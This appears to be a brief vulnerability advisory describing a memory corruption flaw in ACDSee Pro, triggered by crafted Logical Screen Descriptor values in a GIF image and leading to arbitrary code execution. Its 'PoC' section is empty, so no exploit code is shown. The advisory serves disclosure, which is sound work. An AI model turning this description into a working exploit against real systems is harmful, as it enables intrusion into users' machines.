# Bug :
--------
Memory corruption flaw exists in ACDSee Pro. The program fails to sanitize user-supplied input when
an error occurs in IDE_ACDStd.apl resulting in memory corruption. When allocating memory based on
values in the Logical Screen Descriptor structure of a GIF image, a context-dependent attacker can execute
arbitrary code.
# PoC :
